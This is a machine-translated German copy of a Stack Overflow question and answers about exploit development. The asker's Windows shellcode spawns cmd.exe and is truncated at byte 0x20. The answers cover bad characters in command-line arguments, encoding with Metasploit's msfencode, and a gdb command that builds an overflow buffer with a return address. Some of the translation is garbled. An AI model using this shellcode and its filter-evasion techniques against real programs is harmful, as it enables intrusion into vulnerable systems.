Frage

Warum ist mein Shellcode wird nach \x20 Opcode abgeschnitten, wenn es von String-Stack auf einem zweiten verwundbar Programm kopiert wird?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
War es hilfreich?

Lösung

Gibst du diesen Shellcode als Befehlszeilenargument? In diesem Fall nehmen Sie einen Blick auf den ASCII-Code für 0x20;)

Andere Tipps

Meine Theorie ist, dass Dinge wie Zitat, Raum, null, etc. werden durch die Fenster eher shell als durch interpretiert wird gesendet. Man könnte es irgendwie zu entkommen, aber ich denke, es ist einfacher, nur den Shellcode zu codieren. So versuchen Metasploit des msfencode Dienstprogramm diese Opcodes ganz zu vermeiden. Ich weiß, null (/ x00), Raum (/ x20) und Zitat (/ x22) nicht direkt übergeben werden, aber ich nehme an, dass es andere Opcodes, die nicht so gut geführt werden können.

Das ist meine Lösung, aber weiß jemand, von irgendwelchen anderen diejenigen, die besser sind?

Legen Sie einen Doppelnotierungen um den gesamten Befehl. Führen Sie beispielsweise:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top